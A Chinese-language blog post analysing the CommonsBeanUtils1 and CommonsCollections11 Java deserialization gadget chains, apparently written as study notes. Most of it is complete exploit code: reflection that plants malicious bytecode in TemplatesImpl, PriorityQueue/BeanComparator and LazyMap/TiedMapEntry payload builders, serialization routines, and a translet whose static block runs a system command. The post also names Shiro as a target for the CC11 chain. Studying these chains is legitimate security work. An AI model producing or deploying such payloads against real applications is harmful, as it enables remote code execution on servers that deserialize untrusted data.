CC11&CommonsBeanUtils1链子分析
CommonsBeanUtils1 链
这个链子和以往的链子还是有很多地方不同的,值得详细分析一下。
关于JavaBean概念介绍:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html
总结就是JavaBean是一种符合命名规范的class,它通过getter和setter来定义属性
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下
package org.example;
public class Person {
public String name="Harder";
public String getName()
{
return name;
}
public void setName(String name){
this.name = name;
}
}
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class cb {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Person(), "name"));
}
}

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。
我们现在来跟着链子走一遍,分析过cc2或者cc4应该知道下面代码为什么能够触发rce
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class cb {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field _name = templateClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"Harder");
Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
byte[][] codes = {evil};
_bytecodes.set(templates,codes);
Field _tfactory = templateClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
那我们今天用Bean的方式加载

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class cb {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field _name = templateClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"Harder");
Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
byte[][] codes = {evil};
_bytecodes.set(templates,codes);
Field _tfactory = templateClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
}
}
为什么这样可以呢,我们刚刚举例说明了PropertyUtils.getProperty这个会调用其getter方法,我们相当于调用了TemplatesImpl类的getOutputProperties方法。而在这个函数里面其实调用了newTransformer。我们之前都是用的InvokeTransfrom方法来反射调用newTransformer,然后触发tranform,今天这个cb依赖又添加了一种入口

后续就是cb依赖调用栈的问题了,哪里调用了PropertyUtils.getProperty:

最后compare回到我们的cc2和cc4利用队列比较来触发compare函数,保证x值是template就行,也就是queue的值
PriorityQueue#readObject=>PriorityQueue#heapify=>PriorityQueue#siftDown=>PriorityQueue#siftDownUsingComparator=>compare

最终payload:
- 此处我们需要控制在它序列化的时候不弹出计算器,在反序列化的时候弹出计算器,于是通过反射修改值。
先将 queue.add 赋一个无关痛痒的常量,再通过反射修改值即可,伪代码如下
queue.add(1);
queue.add(1); // 给queue数组添加值
Class q = queue.getClass();
Field queue1 = q.getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{templates,templates});
最终payload:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cb {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field _name = templateClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"Harder");
Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
byte[][] codes = {evil};
_bytecodes.set(templates,codes);
Field _tfactory = templateClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1); // 给queue数组添加值
Class beanComparatorClass = beanComparator.getClass();
Field property =beanComparatorClass.getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties"); //
Class q = queue.getClass();
Field queue1 = q.getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{templates,templates});
serialize(queue);
unserialize("ser-cb.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser-cb.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这个反射一定要放到queue.add后面,不然序列化反序列化不成功
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc_Templ extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
cc11
- CommonsCollections 3.1-3.2.1
- jdk 版本无限制,我这里用的是 jdk8u65 的
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.bytecode.Bytecode;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Main11 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field _name = templateClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"Harder");
Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
byte[][] codes = {evil};
_bytecodes.set(templates,codes);
Field _tfactory = templateClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);
Class lazymap = lazyMap.getClass();
Field factory = lazymap.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);
serialize(expMap);
unserialize("ser11.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser11.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc_Templ extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
cc11给我的感觉其实和CC链子都差不多,都一样。只是在这里shiro反序列化,不允许数组,所以shiro用的比较多这条链子